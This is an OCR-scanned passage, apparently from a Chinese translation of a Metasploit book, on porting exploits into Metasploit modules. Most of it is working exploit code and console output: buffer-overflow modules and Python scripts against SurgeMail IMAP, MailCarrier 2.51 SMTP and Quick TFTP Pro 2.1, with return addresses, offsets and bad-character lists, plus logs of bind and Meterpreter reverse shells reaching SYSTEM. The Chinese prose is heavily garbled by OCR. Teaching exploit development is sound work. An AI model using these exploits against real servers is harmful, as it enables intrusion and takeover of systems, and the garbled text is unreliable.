4k B R X R P2 bR shellcode BEARMTRE, M ik 3N BIE I RN

K, HR%E —4~ Metasploit {BBHCGHEERRT, ROAZEHINHBFTE TN ER, B
4 Metasploit ZEHE1T M R IB BB BrA4E U shellcode 2 £ 57, MR M IR FR# K
KRB FE AR RP TR, A2 HEH T, mRFERBERETEAORER, BIENHBEF
WTEB A AT shellcode MNE L FELAR I, (ERIERGIAIF T, SurgeMail HEEH R, 28
BRHERKERII, BEERMNABEFRIZELSEE.

R EFHE LR HE, SFEBahE4ER shellcode B —NHELZRF (W00
x01\x02... ) PP RT S, REFH ARSI RE B ARBE R, IR RARFER.
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PR, BRI T R AR LIEB B CRS P R R IN F5F. 25Iki, 18E IMAP BhN )Ly
FEALH, BRI \x00\x09\ x0a\x0b\x0c\x0d\x20\x2¢c\x3a\x40\x 7b &h#E %1 4 TR ERF, W TR,

'Privilepged’ => false,
'‘DefaultOptions’ =>
{
"EXITFUNC' => "thread',
}s
"Payload’ =>
{
'Space’ =>» 10351,
'‘DisableNops' => true,
'BadChars' =» "\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x3a\x40\x7b"
b
"Platform’ => 'win’',
'‘Targets’ =>

MR 2B B B R 7 B'BadChars' 5, Metasploit 4 [ s34 24 14EF2 7E Shellcode LA &
Fr 43 shaS £ B 715 IR AV 15 4 22 b

ERNM AR FTLR, FKIEITEERGEED, WHAR, BIOES ZIREZiIAPRER
HE| TP EWE. ZMEBBEIGARRNRARR R, BERECMESLETLLTERN, X
FE R4 Metasploit 8 IR T 23 Bl i) #f sh &4 B Shellcode, 1105 BURHIZ 1T ) — L5 M
IR F A B HIR.

msf exploit(surgemail book) » rexploit

[*] Started bind handler

[*] Authenticating as test with password test...
[*] Sending payload

[*] Exploit completed, but no session was created.
msf exploit(surgemail book) > rexploit

[*] started bind handler
[*] Authenticating as test with password test...

[*] Sending payload
[*] Exploit completed, but no session was created.
msf exploit(surgemail book) > rexploit

[*] Started bind handler
[*] Authenticating as test with password test...

[*] Sending payload
[*] Command shell session 1 opened (192.168.1.101:59501 -> 192.168.1.155:4444)

(C) Copyright 1985-2001 Microsoft Corp.

c:\surgemail>
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AT e I At b i ] e B O A AR — IMEME S . —MRAETBHEIEEILFR
H R T A 5 F A 121 235 hitp://en.wikibooks.org/wiki/Metasploit/ WritingWindows
Exploit#Dealing_with badchars.

IAERA7E R AE BN, WERMITTm AR A RSB, WFETR:

require 'msf/core’
class Metasploit3 ¢ Msf::Exploit::Remote
include Msf::Exploit::Remote::Imap

def initialize(info = {})
super(update info(info,
‘Name' => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
‘Description’  => %g{
This module exploits a stack overflow in the Surgemail IMAP Server
version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
account credentials are required.

2
'Author’ => [ 'ryujin' ],
'License’ => MSF_LICENSE,
'Version' => "$Revision: 1 %',
'References’ =5
[
[ "BID", "28260" ],
[ 'CVE', "2008-1498' ],
[ "URL', 'http://www.exploit-db.com/exploits/5259" ],
1
‘Privileged’ => false,
‘DefaultOptions' =>
{
"EXITFUNC® => "thread’,
}s
"Payload’ =5
{
"Space’ => 10351,
‘DisableNops' => true,
'‘BadChars’  => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x3a\x40\x7b"
b,
'Platform’ => 'win',
‘Targets’ =>
(
[ 'Windows Universal', { 'Ret' => "\x7e\x51\x78" } ], # p/p/r in surgemail.exe
I,

‘DisclosureDate’ =»> 'March 13 2008’,
'‘DefaultTarget' => 0))
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def exploit
connected = connect_login
lead = "\x90" * (10351 - payload.encoded.length)
near = "\xe9\xdd\xd7\xff\xF"
nseh = "\xeb\xf9\x90\x90"
evil = lead + payload.encoded + near + nseh + [target.ret].pack("A3")
print_status("Sending payload")
sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"
sock.put(sploit)

handler
disconnect
end
end
14.6 IN\&

REAERFERMNAET RS FH AR, (BRI 1E & T MNREFRIZEIT—A Fuzz TR 28
Fl9n'S — Nl B B RGE R A SE i E. BIEABERENX MR ER R R LT 2y
MAFHE, BERMET —MBFHER, iERIASBMT LIRS, BEifirs
G AR AR REU A AT HL 2

RN T % Metasploit B 57 771 7 15 13 Metasploit BB AL A (1118 B B A Hh
By, AR RERSELF L PEAR Metasploit HESE P B G 7 WPLe k. AT FH AT LR
YRHE A T 46 425 448 O V17 A J¥ & Metasploit 1835 B iR SR FT A AU R 0 Bt T R 5 )57k

HEH 15 T, RIVEETEAZFRFBNMN, FEEANERE HEEAREBEA
Metasploit HESRHFISEER T, BAVHE ) R WT il ol E SR Sah& R, B4 IFal SRE 3
L0781 (B F # ok o] i) Metasploit 8% it s,
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il i
18£8 Z 1831 2| Metasploit HEZR

YRA 1R 20 B ] AEE R i B AU M AR AS TRl kS SN 3. 3] Metasploit HE4EH, MUY
H AR 22 44 X F0 Metasploit #E52E . HAEFTA RIZEE R 2T Metasploit #E5EH), R 2
EL Perl. Python. C/C++EE B /.

LRSS E IS B S Metasploit fELE R B, IRFERIAGIALKZIEICAY, W Python B¢
Perl H]—4upA, ¥ HRERETE Metasploit K2 BB L. SR, FERR—NBENRG
R Metasploit #2422 5, REEAILAFIH Metasploit HEZR [ FE & i X oE X H & Fh TR R AL #
ITHAES, DR a] DTG TR e BB GHEFrMFs R & E. Hoh, REIRS RS SEAIE
W L AEE R E N BGHERAT, DR R BT R R FIEE RGA, —HBHEF) T Metasploit fi£52
i, Bl et o LLsh& AL, MRS EAS S0 AT AR 2 (g P AT e R T .

A EFRHIR RS AN MALEEAEBHEE] Metasploit #ERRFRIMEE, WRIRHHE
SR AR T, HHREYTER LR ARNRE, HEEAENENSGRZE, K
LA BE ) TR A K2 E RSB AL Metasploit HESR 1.
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16.1 C4ig s &l

i RARE AT B AW, MRFEXICRIES AR T #. BOERFE P RE
AXRRECHRES LML, iERITREE BB T EEAORMBRSNIES.

15.1.1 EIP 1 ESP F1F2%

FAERJE CPU T HIRGFMEE R PITHHE, UULRBENHAEFEZITH & B E ST
BB AEERTFERRE EIP (Extended Instruction Pointer) ¥ BRI S i T 4: M ESP
(Extended Stack Pointer) ¥ Biki54 FF 45

EIP #FZ8PHEEVFNHBEFERLYIIESPITZET —&£ESHE. AES,
1% HEE S EIP B[E A, FR IR M BA TR shellcode. FERATHIZE M X 6 H B+,
ESP FaAMATIRm BT, FERRINHES LENHAEFEFR AT HIRNEERS, A
SEURB AL E . ESP A7 172510 7 B4 S A E A% shellcode A £7 it

15.1.2 JMP ESTE

IMP 35445 2 FH KBk 2] ESP N frthtk ) —K54 . AT ERER S8 b X i i
8, BAISHH IMP ESP {84 K &Rt L XL 488 &5 B4 shellcode W] ESP A 77 hit
ZPATHE A .

15.1.3 THRSNTHESHEITX
—NEIRA R TEENMERTE S . TEIRE i LRk — ki e, FRIFAsERs i
SUERES B R PRk LA E. A T4 o LA RS R BN, “ SRE R,
AEHATHE”. D45 LN R R —Mx90.
FIRABITX R ER —HELNTIRSHM, HBATH shellcode K2 “LEHMX" K
BAXE., YENER YA T IMPESP 184, BT T4 F, 0T Hski
iX 73354 H 3 FiX shellcode.

15.2 BE—ITENXimd BEHRE

RATTHI AR — A SR B3 R P K 5t B AR, RFEE—A jump ESP 354 b
LL5epk 3 shellcode FIBkEE . X PMEBAEALFRE “MailCarrier 2.51 SMTP EHLO/HELO £ !
X B, {# A MailCarrier 2.51 SMTP & A& 2 b X 88 H .

18R 47T vAZE hitp://www.exploit-db.com/exploits/598/ k. 3% 2] i A~ 515 R A8 Fo 5 12 3 iF) &
FL IR 4%
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15 EF FBiEHIEBES Metasploit #E22

{HiX £ — M SZREEARRE, FEREN Windows 2000 RZEM A AR JRIMTEIZITIX
BARRS R, A EEE NIRRT IER T4, 76 Metasploit HEZE D DEH - MNBB UYL
Y XAWFFAE, FHET T -804, E—meRiEE FTEHHEPXKEZE, IR
A LURIRIZX M E B A R A shellcode 3245 T 1000 “Z45 A] B A5 (6], MM X KER EHE 4
NN (MEFTETHRUMERBOEEER, EHRIEELE htp//wwwexploit-db.com/download
pdf13535/87% L) “BEREESEES o #EEmt”. "UFEXNBENHES
RAUETEACHS, P EAICLBER T shellcode, H¥ jump BEEETR S BB #A T AAAA FH/H,
(FriEE SR UEECES PoC, B AR EHEAN BRI LURKIERAR HE R, BRauEsE
bR i By, JFEE HFERZ B4 S EIEH TARGHNBERKE.D

#!/usr/bin/python

BARBBHUBRURERRERIBHAHBRHBR SRR HRRHB B H BRI RERRR R RS R
# MailCarrier 2.51 SMTP EHLO / HELO Buffer Qverflow #
# Advanced, secure and easy to use Mail Server. #
# 23 Oct 2004 - muts #
HERH ARG H R R HEER R B R R R S

import struct
import socket

print "\n\n#EHEHFRGEHEREHEHEHHERE R A BHEHH ARG R BR SR HHB R
print "\nMailCarrier 2.51 SMTP EHLO / HELQO Buffer Qverflow"
print "\nFound & coded by muts [at] whitehat.co.il"

print "\nFor Educational Purposes Only!\n"

print "\n\n###HHHEH G RS SR S R A SRR R R BT

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "\x41" * 5093

buffer += "\42" * 3

buffer += "\xg0" * 32

buffer += "\xcc" * 1000

try:
print "\nSending evil buffer...”
s.connect(("192.168.1.155"',25))
s.send('EHLO ' + buffer + '\r\n')
data = s.recv(1024)
s.close()
print "\nDone!”

except:
print "Could not connect to SMTP1"

R—E LR T, HiXa—BHLAKEERHEBET] Metasploit 5 ] 8UFHRIE i) 7712
REMER T —PMEFRIRURRHATER . BROHEETRRIX 2.

@ #AE: SRR R P AR AL F T35 hip:/bbs.pediy.com/showthread php?p=7130354post71303 5 ).
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15.2.1 HE— IEEHEBEREHEKL

YE R RATTEHE MailCarrier BB LRI —4, SEX—CFH H Metasploit & B R Bt
fT#BY, FAERE —MEBEBCERIE R, W FHR:

require 'msf/core’

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
@include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update info(info,
"Name ' =» 'TABS MailCarrier v2.51 SMTP EHLO Overflow’',
‘Description’ => ¥q{
This module exploits the MailCarrier v2.51 suite SMTP service.
The stack is overwritten when sending an overly long EHLO command.

}s

'Author’ => [ 'Your Name' ],
"Arch’ => | ARCH X86 ],
"License’ => MSF_LICENSE,
"Version' => '$Revision: 7724 $',

'References' =>
[
[ "CVE', '2004-1638' ],
[ "OSVDB', '11174' ],
[ 'BID', "11535' ],
[ "URL", '"http://www.exploit-db.com/exploits/598' ],
1,

"Privileged’ => true,
'DefaultOptions’ =)
{
"EXITFUNC' =» "thread',
1
'Payload’ =>
{
"‘Space’ =» 300,
'BadChars' => "\x00\x0a\x0d\x3a",
'StackAdjustment’ => -3500,
¥
'Platform’ =» ['win’],
'‘Targets' =
[

®[ 'Windows XP SP2 - EN', { 'Ret' => Oxdeadbeef } ],
1,
'DisclosureDate' => 'Oct 26 2004',
'‘DefaultTarget’ => 0))

register options(

|
©0pt::RPORT(25),

Opt::LHOST(), # Required for stack offset
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], self.class)
end

def exploit
connect

®sock.put(sploit + "\r\n")

handler
disconnect
end

end

D Ay X BB B A s ENET 2, BT BLIRATIUN 7% E 4 & Msf:Exploit::Remote:: Tcp iX —
N mixin, WATCLAEZATFIZEEFT P IHE T mixin, RN ZEHE EIR mixin @] B FRAEH - -4
RER ML, i Remote: Tep®, SKHFATHARZTHE TCP {5 .

ERTH PrA RS h, B RE LiREI#uk H Ak & — PRS0 w 0 &R MHE
Oxdeadbeef®, ERIAH] TCP BLiR &N 250 . EEHEF| H iR % L2 )5, Metasploit #if it sock.put
T EORIEMERIBEEIE, M ARITERBEANE .

15.2.2 HNEZENEIIE

B FRAERATE - T N HERARB BB R, RATE S HELE SMTP PHUER [
RGN AR, K as— N KERFEH, RFR—ADRITBHEE BIP 56 bk, EH L
—BREHSAITR, BJS &R MN# Shellcode M FEX . T T i 2 X BLACHD 0 STHR.«

def exploit
connect

@sploit = "EHLO "
@sploit << "\x41" * 5093
Osploit << "\x42" * 4
Osploit <¢ "\x90" * 32
©Osploit << "\xcc” * 1000

sock.put(sploit + "\r\n")

handler
disconnect
end

BANZXE GRS E R RWERERNBGHEENX, B4R EHLO 40, ARJERE 5093
NFERF A HN KO, BRERANKER EIP K14 MF170, LIE—/DNERZIHESEITX
O, Efa—B{iER shellcode®-.
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MEBRMEFEMH —AMEPEAAEO, {F18 B brFEFEAT 2 shellcode BPRFETE T K, 1M
Jo 5 B ) o BT A

EME B BB IRZE, BAVR X4 A0 mailcarrier_book.rb IFRFFTE modules/
exploits/windows/smtp/#12F »

15.2.3 MR A8 EAEF KD

T, RO MSF LigrhmBux MEsh, RELFHRTLR, REEZE—A
generic/debug_trap BT OXRE—0 FBBRM TR IEREE RO BEHEG, FIREFERE
RESFRER H AR R R I AL R — AN D), R RE AT MR

msf > use exploit/windows/smtp/mailcarrier book
msf exploit(mailcarrier book) > show options

Module options:

Name  Current Setting Required Description

FEsEs 20 2SSSSSSSSSso s E OO

LHOST yes The local address
RHOST yes The target address
RPORT 25 yes The target port

Exploit target:

0 Windows XP SP2 - EN
msf exploit(mailcarrier book) > set LHOST 192.168.1.101

LHOST =»> 192.168.1.101
msf exploit(mailcarrier book) > set RHOST 192.168.1.155
RHOST => 192.168.1.155
O msf exploit(mailcarrier book) > set payload generic/debug trap
payload =»> generic/debug trap
msf exploit(mailcarrier book) > exploit
[*] Exploit completed, but no session was created.
msf exploit(mailcarrier book) >

BATEREAT LB AR BN R — R EFREET, AR RRIER T generic/debug trap
Kt 87 O R WHR R A 112 E .

EBREIHERZITEXRZE, WlBNZSEE TN HEFEKIZST, M EIP FF20%
WHAE A 42424242, W 15-1 fias, WRIRFEE| EIP LRI S N 42424242, B
Zu LI NBBEREHERRIN T . £/ 15-1 ¥, EIP FERCBIRN T 42424242, TiFI8AEBAT
XA E R ERA LRI MR E X .
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B 15-1 MailCarrier #185%: 4 B RIS EIP

15.2.4 SLIAEZR AR

FE I V835 B MR EE AR SR mT L IE# TAEIF S EIP #uhbZ f5, W LA T RIG &K LB
7k Metasploit fESE [ Lef5dE . BRATSERAE Target’ XHECE B FriR [ Hoht 3] IMP ESP 54
Mokt b, aT DA F B e 18 A RS P 4 ] — Hihk , 31X /N bt & 7E Windows XP SP2 [ SHELL32. DLL
FIRB . X FHMBIERGR A, WHEERNSERTRE IMP ESP f&[R[Hht, MmE5i2
B EE LT & LA IEREZET. Bl AT EANAFERERENRIER
LA GEIER T/E, XAEFHRIXFER. RAITEAKMR SHELL32.DLL bk, o~k
TEAFRIRABRAFK) Service Pack E&38t. @R BB TE H AR A H Py 77 ik R 3
—AMbRAERD JIMP ESP f84-Hbhk, Aster LA T EMEH Windows DLL FRIMiME T, A mial LA
#E132B B T A K Windows BIERFE T S & EAHK, HAHXH—DAFHIERA 2
B4 o

'Targets' =>

[
P

[ 'Windows XP SP2 - EN', { 'Ret' => ox7d17dd13 } ],

Metasploit 2x7Fiz4T it ZIER E bt A S @S, IRAT LLFE i8S B S X 4 A
[target['Ret']].pack(' V)R [Fl bbb B3t ok, X SR B ML bEF O F W B A B2 B B
gD (KFTFE —little-endian, FY PR HIRRS CPU K REGHITHER], Intel FEAHIALFE

s AR F ) -
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IBR: wREFRTIABFEAEERY, X—THFRBGETSELEHAFNEFR
% target B F iAW, RAFHFH U AN, X8 7 B 5E KA HE] Metasploit E5R F
2K KR H 18 4k 6918 A M.

sploit = "EHLO "

sploit << "\x41" * 5093

sploit << [target['Ret']].pack('V")
sploit << "\x90" * 32

sploit << "\xcc" * 1000

BT E AT, NiZS B IIEEE 2] INT 3 XL05iE /) shellcode ¥84H1, U0
& 15-2 s

A AT AT DRI T A o d s e S T T e T T AT R e Rt e i e e I e
PEVATIINT I oolmind S DRFDRORE 57 s e e e i Pause

B 15-2  RnhBtEE 2| 0hiERY Shellcode, F ATV AREEINK INT3 HES T

16.2.5 I&/npEHL1L

REBEINZ IR GRS A2 ETEAREN — KRB 77 4 S SthRiE, BEHX
R—MBELE PIRE WA B EER. B, SEFRREERET IR A2 RIBEHAL,
XA AT BASRIRE 1R 25 51 X 1838 B0 BRI AL -

A EBCEEGEINRENAL, AT EARBENM Targets’ ZHX PO EF - MENT EIP
Al BT 75 VT8 offset fREB B, W1 F k-

'Targets' =>

[
],

|
|

O[ 'Windows XP SP2 - EN', { 'Ret' =»> 0x7d17dd13, 'Offset' =» 5093 } ],
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TEIX R 0] offset Z )5 @, A FHEEBERLDPTITHIRET —KBAHF A XL —
EH AR, FRESEMEKEABEENRBRIERERA T 2RUARIE R

MAEFRATO ME B B R B K, {15 Metasploit HBENAER —MHENLHI KRS F/F 257
B fEIZAT I 2B B 5093 AT A4, EIKIeiTBEAAEI A N — s B E X
(F]LAMEH] rand_text_alpha upper K5 % ik Hr, {BATEAT UEFFHALRIBEAIIL R %L, wTLL
7t Back|Track (¥l L K)/opt/metasploit/msf3/lib/rex/. ¥ 4% F W) text.rb X, BEHEFIFFHTH
ISP A R ED .

sploit = "EHLO "

sploit << rand_text_alpha_upper(target['Offset’]
sploit << [target['Ret']].pack('V")

sploit << "\x90" * 32

sploit << "\xcc" * 1000

IAEAR AT LB B, — KHEF1F A BRI A5 BB C 4N KRS PRV F 15 i o 2L,
FAHIKIBITIBBEIEBR, ERIERFM L.

x|

15.2.6 HRZTESIEIT

BT PR EBRHIEFEHERMZHEAWITX, BAXREDI-NESLHTIRANEREN
RGP RERIE. REX0 & PMRALMNTEHERS, AEHFARE—HIPEES. TU
{# ] make_nops() bR K & f Metasploit 7ZEi8F i e b d f — B 5 23R 2T X S0 I BEHL
43,

sploit = "EHLO

sploit << rand_text_alpha upper(target['Offset’'])
sploit << [target[ 'Ret’]].pack('V")

sploit << make_nops(32)

sploit << "\xcc" * 1000

RIS TIRIBEGHARER, A A EITRE, WASHHRE INT3 84 THE K
7, RBHRERLSB/ITX CERBERAEERMIRFAE, WE 15-3 Fr.

15.2.7 XBkr{hiERY Shellcode

EBBEIERSR P HARFT A ERM ER TEZ )G, RATOAEH G K ZER4iER shellcode.
Grtit o FHEERR FE AR B CE AT A R 1.

sploit = "EHLO "

sploit << rand_text_alpha_upper(target['0ffset'])
sploit << [target['Ret']].pack('V")

sploit << make nops(32)

sploit << payload.encoded
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|

8 £
>

li
[

”1 Faused

B 15-3  BEHL4E R MailCarrier B2 i (X

Payload.encoded B ¥ %5 Uf Metasploit 7EIE4T I %I ¥ 8 & BRI E W% 2 5. Hm3)
HERBCE TR R S

BAE, M(BANVEEBAIGBE, EF D ELENBEGESA, RRHITE, BTNz L
& PR MEEAS ) shell T, 0 F BY7:

msf exploit(mailcarrier book) > set payload windows/meterpreter/reverse_tcp
payload =» windows/meterpreter/reverse tcp
msf exploit(mailcarrier book) > exploit

[*] Started reverse handler on 192.168.1.101:4444
[*] Sending stage (747008 bytes)
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.155:1265)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

15.2.8 F{IZBAERKEE
M agE, TS EIXA Metasploit 1838 Bt HHR i) 52 2 ) 5 2R

'msf/core’

etasploit3 < Mst::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
super (update info(info,
"Name’ =» 'TABS MailCarrier v2.51 SMTP EHLO Overflow’,
'‘Description’ => %q{
This module exploits the MailCarrier v2.51 suite SMIP service.
The stack is overwritten when sending an overly long EHLO command.

b
"Author’ => [ 'Your Name' ],
"Arch’ => [ ARCH X86 ],
'License’ => MSF_LICENSE,
'Version' =» '$Revision: 7724 $',
‘References’ =>
|
I IWE1J 'Imd--'lﬁﬂﬂ‘ ]J
[ 'OsvDB', "11174' ],
[ 'BID", '11535" ],
[ "URL', ‘http://www.exploit-db.com/exploits/s598' ],
1,
'Privileged’ => true,
'‘DefaultOptions’ =>
{
"EXITFUNC' => 'thread’,
}
‘Payload’ =>
{
"Space” => 1000,
'BadChars’ => "\x00\x0a\x0d\x3a",
'StackAdjustment’ => =-3500,
}s
‘Platform’ => ['win’],
‘Targets' =>
[
[ 'Windows XP SP2 - EN', { 'Ret' => Ox7d17dd13, 'Offset’
1,
'‘DisclosureDate’ => 'Oct 26 2004',
'‘DefaultTarget’ => 0))
register options(
[
Opt::RPORT(25),
Opt::LHOST(), # Required for stack offset
], self.class)
end
def exploit

connect

sploit = "EHLO "

sploit << rand text alpha upper(target['Cffset'])
sploit << [target['Ret']].pack('V')

sploit << make nops(32)

sploit << payload.encoded
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sock.put(sploit + "\r\n")

handler
disconnect
end

VRNIR E 2858 B T8 MG X i NS IEAUIS 2 A8 21| Metasploit HESE !

15.3 SEH B E5iERRS

EF—AEH T, AT B — 84 Quick TFTP Pro 2.1 ¥4 1 &5 ¥4k 7% &b #4654 (SHE)
H i 2150 5 Metasploit HEZEH . SEH BREHABHENHEFFE CHERIRERNE. £
—IK SEH i, AVKZRG8T/E — AN arR sl 15 & A 221 e A NV H AR R ) 7 b B R
2. X EEANEYT, NHEFMA —NRER, MERITE— MRS HINIEE, Rl
Al LR FEFF AT AR SRR shellcode. X /N2 S b — R B 28 b [X i HH RS IR 22—
e, EEd2IFEFELEN.

AT R RANIE MR POP-POP-RETN i AN S BATT AT LLT 1) Frda I ) P 12 (X 8] 3F 4k 13
SCERAHEAT. POP-POP-RETN &1 {f F ¥ 4eit SEH H-404T H C RS R Bl Bk .
B—A POP LGRS Mo — AN fEshht, @WBERE NN ERNETES, F 24 PoP
12 FIREMER IR — DA TEedE, 1T RETN $54 WK IRA 1R [0 5] —He i /2 #2540 EE 42 A],
fEHR BT ABAT R E LTI N EH5 4.

BR: THEZXT SEHFE R MK, 7T LAF hitp://www.exploit-db.com/download
_pdf/10195/. °

Quick TFTP Pro 2.1 i2iZfCHS & H Muts 4e 5 1, 4807 LA http:/www.exploit-db.com/exploit
s/5315/3R B e HAZ BN, UIRAERFGNRART. BA1CLEX TR, {F
HRRE BT Metasploit HEZEH, LR T Xdi8er. BEr B2 AREHERNE
Metasploit T R EIZZBE LRI AE R

#!/usr/bin/python

# Quick TFTP Pro 2.1 SEH Overflow (Oday)

# Tested on Windows XP SP2,

# Coded by Mati Aharoni

# muts..at..offensive-security.com

# http://www.offensive-security.com/0Oday/quick-tftp-poc.py.txt
HEASHRHHHBEAA B HH BB H R AR U A R RS SR E H S iy
import socket

import sys

@ #A&ix: AH 8P FAFAF F T I% http:/bbs.pediy.com/showthread. php?t=102040).
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print “[*] Quick TFTP Pro 2.1 SEH Overflow (0day)"
print “[*] http://www.offensive-security.com”

'127.0.0.1"
69

host
port

try:

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:

print "socket() failed”

sys.exit(1)

filename = "pwnd"
shell = "\xcc" * 317

mode = "A"*1019+"\xeb\x08\x90\x90" +"\x58\x14\xd3\x74"+"\x90" *16+shel]

muha = "\x00\x02" + filename+ "\0" + mode + "\0"
print "[*] Sending evil packet, ph33r”
s.sendto(muha, (host, port))

print "[*] Check port 4444 for bindshell”

SFLLERATAE 2 AU IMP ESP 22 b [X i th 246 b B0 RE, B e — 2 i i85
BB RAHE 3L, ABRANTH RIS G H D E4E.

require ‘'msf/core’

class Metasploit3 < Msf::Exploit::Remote

Q@include Msf::Exploit::Remote::Udp
®include Msf::Exploit::Remote: :Seh

def initialize(info = {})
super(update info(info,

"Name => 'Quick TFTP Pro 2.1 Long Mode Buffer Overflow',
'Description’ => %q1

This module exploits a stack overflow in Quick TFTP Pro 2.1.
1
'Author’ => 'Your Name',
"Version’ =» '$Revision: 7724 %',
'References’ =>

[
['CVE', "2008-1610'],
['OSVDB', '43784'],
["URL", "http://www.exploit-db.com/exploits/5315'],
1,
'DefaultOptions’ =>

{
}s

"EXITFUNC' =» '"thread',
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'Space’ => 412,
'BadChars' =>» "\x00\x20\x0a\x0d",
'StackAdjustment’ => -3500,

b
'Platform’ =» 'win’,
‘Targets’ =3
[
[ 'Windows XP SP2',  { 'Ret' => Ox41414141 } ],
1,
'Privileged’ => true,
'‘DefaultTarget’ => 0,
'DisclosureDate’ =»> "Mar 3 2008'))

©register options([Opt::RPORT(69)], self.class)
end

def exploit
connect_udp

print_status{"Trying target #{target.name}...")
Oudp_sock.put(sploit)

disconnect udp
end

end

K A IXANEEAEAMERA T TFTP UMY, FES|H Msf:Exploit::Remote::Udp mixin®, 3 H
BN EFRERHY SEH, FHItiFHES|H Msf::Exploit::Remote::Seh mixin® 31/ ja] SEH #i H 11—
LS 2 PR3 TFTP ' 7E UDP ) 69 ¥ N _LZF T WY, AT BHX /3 O 4 D8 1578 1% i B3k
FIBABCEEN®. &5, —HAERNBEGETFRHRENRZ G, BERBEHERRERME O,

BAVFEE{ER TFTP J45 Python 2:E U 7 1Y B AU R M B BA IR AR B #4778, 3
i H AR 2128 Bh AR X .,

. def exploit
connect udp

print_status("Trying target #{target.name}...”)

evil = "\x41" * 1019
Qevil << "\xeb\x08\x90\x90" # Short Jump
®evil << "\x58\x14\xd3\x74" # POP-POP-RETN
evil << "\x90" * 16 # NOP slide
evil << "\xcc" * 412 # Dummy Shellcode
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©sploit = "\x00\x02"
sploit << "pwnd”
sploit << "\x00"
sploit << evil
sploit << "\x00"

udp sock.put(sploit)

disconnect_udp
end

7E 1019 NMFEFF A RBIFISR A R 2 fa, n— PN aBkE 2 0k &E ik NSEH. 7E AR
Fah, BAMER T —A6 85 kit H =4 B MailCarrier H 584758, FXH, WEH
it SEH 1 NSEH XKHAGE G Fih e w B s . i 7 —A POP-POP-RETN 164 FF¥| kbl 5k %
i SEH®, X#5|FREFHITRIARMIFrESIE AFEX B .
TR, ATHEXNMEIREFESH TFTP RS NEiEK, BAIEE shellcode 2. f&
7 MMx00\x02© .
e, FEXMBFEICHES, e HiRRF#EITIETT, ALK E 57 SEH #
MmN R, WmE 15-4 s
41414141 HARA

41414141 HEAA
41414141 QAR

Folnter To next !
A%t SE hand

B 15-4 Quick TFTP M#1%E SEH &%

BT RAE BN — KK B AR 4 MZERSETX SR IDS #itE, RIMEE L
THEIIH, A FTEHFRAN DR E LRI FRT S, RKx0 LR3I BH# %0
ZIRSWFH, TR R R B8 T X RE.

evil = rand_text_alpha upper(1019) # Was: "\x41" * 1019

evil << "\xeb\x08\x90\x90" # Short Jump

evil << "\x58\x14\xd3\x74" # pop/pop/ret

evil << make_nops(16) # Was: "\x90" * 16 # NOP slide
evil << "\xcc” * 412 # Dummy Shellcode

ERREHRZE, BN ZAE THRRETIEE, W 15-5 Fia, VAL LR 75 F
CeW HIrEFTis, Ml SEH 2B Z T ARk A Bzl
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U N e ol e 2 1 B '

11 2FES9S  S524F4542 CEOR

111 1 ' 4FS 15343 HSQO

FEAA S524B424A JEER

A4 52474344 DCGR

. HEMH

LE25954 TYSU

25142 HOHH

ILF.J

Hal 2FBE: 4CEZ4155 UARL
BA12FBEC 9A908SEE SHEE Pointer to ned

L1 B r4021452 XNvt SE handler
} EBEBFBzDe =

Har A FERSE e IE W TAERY, £ T KA Targets' 5& X P i BiR Al . X454
[¥] POP-POP-RETN 154 F 3| HBHE R M oledig.dll FRE|H, FIELHEBEMRL—FE. FidE
MR BN AN FXRBSEEH R MHEFF R DR FEPRieS bk, A0 LAgY
BN AHET Windows DLL BB HLBEBEHHIR, v IBCdAL & FBRAE RGENA .

'Targets' =>

[
I,

@[ 'Windows XP SP2', { 'Ret' =»> 0x74d31458 } ], # p/p/r oledlg

BRZELL Windows XP SP2 1E8 Hix, i&[EIHuAL KN 0x74d314580, #: FREMIZE LR —
1,019 FH KA KE FREIALFRT R

evil = rand text alpha upper(1019)
evil << generate seh payload(target.ret)
evil << make nops(16)

generate_seh_payload eR¥({f Al A 87 R Bl l, oK AahibiE AN —NEBkERS (FEh®
kT SEH A¥EE) . ZRBE AR EBERIALE, JFEHZEHANE| POP-POP-RETN 54
FF31.

BV G — IR AE DY Y shellcode SRIB 1T X MBS BB AR, Ik 15-6 fras, ] LUH
HAE | — VAN FER, A ARSBNRERNEENEZELT. £ZHIELT, B
WAt Rt SR REN —8, FOEAIAT LS8 m 4 EAT IDS frill, iR 25 T
il (1] IDS X KB IZHR2K A i E.
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15157458 HuMh
4E4E434% 11HH
EZ4152342 [SHRE
4F424C4A JLEO
45414058 FMAE
47425855 UxBG
45474649 [FGH
G2515440H JTEE
EeS24B4E EERLU
Fl ZFEE CASe434E HOWE
Ba12FBEC V7Y 1280eEE selly
A » 74031458 BTt Sk
L=0AC<2=1 1k es
tZHEVHEE
247 A0=EEE

&FI0DEZAE 2l %o
49BACYD? -
De32F91E8 t-
10BCEZSS B .
1447E197

E 15-6 Quick TFTP #i5: &l

PRk, 2R shellcode, FFA# A — AN L RIBHBA HBITER, REEAIN shell
=2ih, MR,

msf > use exploit/windows/tftp/quicktftp_book

msf exploit(quicktftp book) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(quicktftp_book) > set LHOST 192.168.1.101

LHOST => 192.168.1.101

msf exploit(quicktftp_book) > set RHOST 192.168.1.155

RHOST =» 192.168.1.155

msf exploit(quicktftp_book) > exploit

[*#] Started reverse handler on 192.168.1.101:4444

[*] Trying target Windows XP SP2...

[*] Sending stage (747008 bytes)

[*] Meterpreter session 2 opened (192.168.1.101:4444 -> 192.168.1.155:1036)
meterpreter > getuid

Server username: V-XP-SP2-BARE\Administrator

e C23KELF] T —/ Meterpreter [¥] Shell, RS4RI/ SEH (2 E S HHE
#| T Metasploit {248 !

require 'msf/core’

class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
"Name ' =» "Quick TFTP Pro 2.1 Long Mode Buffer Overflow’',
